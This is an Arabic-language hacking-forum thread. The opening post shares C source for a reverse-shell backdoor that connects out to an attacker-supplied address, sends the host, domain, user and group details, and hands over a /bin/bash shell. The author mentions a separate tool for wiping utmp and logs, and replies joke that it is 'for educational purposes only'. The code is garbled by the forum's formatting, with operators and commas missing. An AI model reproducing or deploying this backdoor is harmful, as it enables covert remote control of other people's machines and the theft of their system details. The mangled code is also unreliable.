إعـــــــلان

تقليص
لا يوجد إعلان حتى الآن.

Backdoor

تقليص
X
 
  • تصفية - فلترة
  • الوقت
  • عرض
إلغاء تحديد الكل
مشاركات جديدة

  • Backdoor

    Reverse shell backdoor
    كتبته من مده وكتبت واحد بعديه لل utmp وال logs بشكل عام بمساعده سكريبت سفاح بس عملت حركه مش لاقيه :angry_red:
    مؤقتا كده
    كود PHP:
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>

    #include<arpa/inet.h>
    #include<netinet/in.h>
    #include<sys/types.h>
    #include<sys/socket.h>
    #include<sys/wait.h>

    #include<unistd.h>
    #include<errno.h>
    #include<grp.h>
    #include<pwd.h>

    #define SHELL "/bin/bash"
    #define LEN 100
    #define USR_LEN 200

    void error(const char *error)
    {
            if(
    errno != 0)
                    
    perror(error);
            else
                    
    printf("Error in %s\n",error);
            
    _exit(1);
    }

    void send_information_to_user(int sockfd)
    {
            
    struct passwd *pw;
            
    struct group *gr;
            
    uid_t uid;
            
    int st;
            
    char host[LEN];
            
    char domain[LEN];
            
    char user_information[USR_LEN];
            
    char grp_information[USR_LEN];
            
    char me[] = "\t\tH00lyShit \t Backd00rn\n\t\t By St0rM-MaN (Programming-fr34ks.net)\n";

            if((
    st gethostname(host LEN)) == -1)
                    
    error("[!]Getting Host_Name");
            if((
    st getdomainname(domain LEN)) == -1)
                    
    error("[!]Getting Domain Name");

            
    strcat(host "\n");
            
    strcat(domain "\n");

            
    uid getuid();

            if((
    pw getpwuid(uid)) == NULL)
                    
    error("[!]Grabbing User Information");
            if((
    gr getgrgid(pw->pw_gid)) == NULL)
                    
    error("[!]Grabbing Group Information");
            
    sprintf(user_information "\t\tUser (%s) uid(%d) shell(%s) home(%s)\n",
                                                                    
    pw->pw_name pw->pw_uid pw->pw_shell pw->pw_dir);
            
    sprintf(grp_information ,  "\t\tGroup (%s) ,gid (%d)\n",gr->gr_name gr->gr_gid);

            if((
    st send(sockfd me strlen(me) , 0)) < 0)
                    
    error("[!]Sending Information");
            
    sleep(1);
            if((
    st send(sockfd ,host strlen(host) , )) < 0)
                    
    error("[!]Sending Information");
            
    sleep(1);
            if((
    st send(sockfd domain strlen(domain) , 0)) < 0)
                    
    error("[!]Sending Information");
            
    sleep(1);
            if((
    st send(sockfd user_information strlen(user_information) , 0)) < 0)
                    
    error("[!]Sending Information");
            
    sleep(1);
            if((
    st send(sockfd grp_information strlen(grp_information) , 0)) < 0)
                    
    error("[!]Sending Information");
    }
    int main(int argc char *argv[])
    {
            
    int z st;
            
    int sockfd;
            
    int sock_len;
            
    pid_t bind_sh;


            
    struct sockaddr_in att;

            if(
    argc 3)
            {
                    
    printf("usage %s ip_number port_number\n",argv[0]);
                    
    _exit(0);
            }
            
    printf("[+]Forming Address\n");
            
    att.sin_family AF_INET;
            
    att.sin_port htons(atoi(argv[2]));
            
    inet_aton(argv[1] , &att.sin_addr);
            
    sock_len sizeof(att);

            if(
    == 0)
                    
    error("[!]Host_IP Invaild\n");

            
    printf("[+]Creating Socket\n");
            
    sockfd socket(PF_INET SOCK_STREAM 0);
            if(
    sockfd 0)
                    
    error("[!]Creating Socket Faild");


            
    bind_sh fork();

            if(
    bind_sh == -1)
            {
                    
    error("Cannot Open New Process");
            }else if (
    bind_sh == 0)
            {
                    
    printf("[+]Binding Shell\n");
                    
    printf("[+]Connecting\n");
                    
    printf("[+]Sending_User Infromation\n");
                    
    connect(sockfd , (struct sockaddr*)&att sock_len);
                    if(
    == -1)
                            
    error("[!]Connection error");

                    
    send_information_to_user(sockfd);

                    if((
    dup2(sockfd 0) == -1) ||
                                      (
    dup2(sockfd 1) == -1) ||
                                      (
    dup2(sockfd 3) == -1));

                    
    execl(SHELL SHELL NULL);
            }else
            {
                    
    wait(&st);
            }

            
    printf("Connection Complete , User Disconnected\n");
            return 
    0;

    BOOOF , I AM GONE
    Still , you gotta wait for my PRESENT :D
    C programming arabic Tutorial|Programming-fr34ks

  • #2
    لاغراض تعليميه ليس اكثر
    BOOOF , I AM GONE
    Still , you gotta wait for my PRESENT :D
    C programming arabic Tutorial|Programming-fr34ks

    تعليق


    • #3
      المشاركة الأصلية بواسطة St0rM-MaN مشاهدة المشاركة
      لاغراض تعليميه ليس اكثر
      سلملي لو حد راح يستعمله للتعليم

      ألف شكر يا خوي ستورم على البرنامج ... الحين نشوف كيف نشغله عاد ونجرب
      ﻻ تحرمنا من إبداعاتك
      إِنَّمَـا الأُمَـمُ الأَخْـلاقُ مَا بَقِيَـتْ ... فَـإِنْ هُمُ ذَهَبَـتْ أَخْـلاقُهُمْ ذَهَبُـوا

      إذا المرء لا يرعاك إلا تكلفاً ... فدعه ولا تكثر عليه التأسفا
      ففي الناس أبدال وفي الترك راحة ... وفي القلب صبر للحبيب ولو جفا
      فما كل من تهواه يهواك قلبه ... ولا كل من صافيته لك قد صفا
      إذا لم يكن صفو الوداد طبيعة ... فلا خير في خل يجيء تكلفا
      ولا خير في خل يخون خليله ... ويلقاه من بعد المودة بالجفا
      وينكر عيشاً قد تقادم عهده ... ويظهر سراً كان بالأمس في خفا

      [ مواقع مفيدة: أروع موقع القرآن الكريم |مدونتي |Twitter |نظام طارق ]

      تعليق


      • #4
        انا مش مسؤول
        نورت
        BOOOF , I AM GONE
        Still , you gotta wait for my PRESENT :D
        C programming arabic Tutorial|Programming-fr34ks

        تعليق


        • #5
          صباحك عسل يامعلم ستورم ..

          والشكر موصول للكبير ابو يوسف ...
          والشكر موصول اليك شخصياً ...

          لما قرائه Backdoor :> حسيت بحماس رجعني اياام 2003 ^_^

          انا اشكرك ياكبتن *_*

          بعد التجربه برفقلك التطبيق *_* خاصـ

          =====================

          سلام ياعم
          :argeeleh:
          Twitter
          : @Linux4SA

          تعليق


          • #6
            100% مش فاضيلك انا
            Programming-Fr34ks[dot]NET
            Ma Weblog
            ابدأ بتعلم Python | Ruby
            كتاب البايثون متوافر الآن
            لا اتواجد بهذا المنتدى ... للإتصال

            تعليق


            • #7
              اه بتكتب اكسبلولر في 3 سطور ههههههههههههههههههههههه
              منور وربنا
              BOOOF , I AM GONE
              Still , you gotta wait for my PRESENT :D
              C programming arabic Tutorial|Programming-fr34ks

              تعليق


              • #8
                وحش يا ستورم ..
                بس تنساش لاغراض تعليميه D:

                ^_~
                GCS

                تعليق


                • #9
                  استورم تسلم هي دي الاكواد ولا بلاش
                  اموت انا في الاغراض التعليمية
                  قولي انت بس ايه رأيك في توقيعي
                  .
                  .
                  .
                  EncrYpted Just a Learner
                  شبكة الذكر الحكيم
                  لاتنسى ذكر الله....

                  تعليق

                  يعمل...
                  X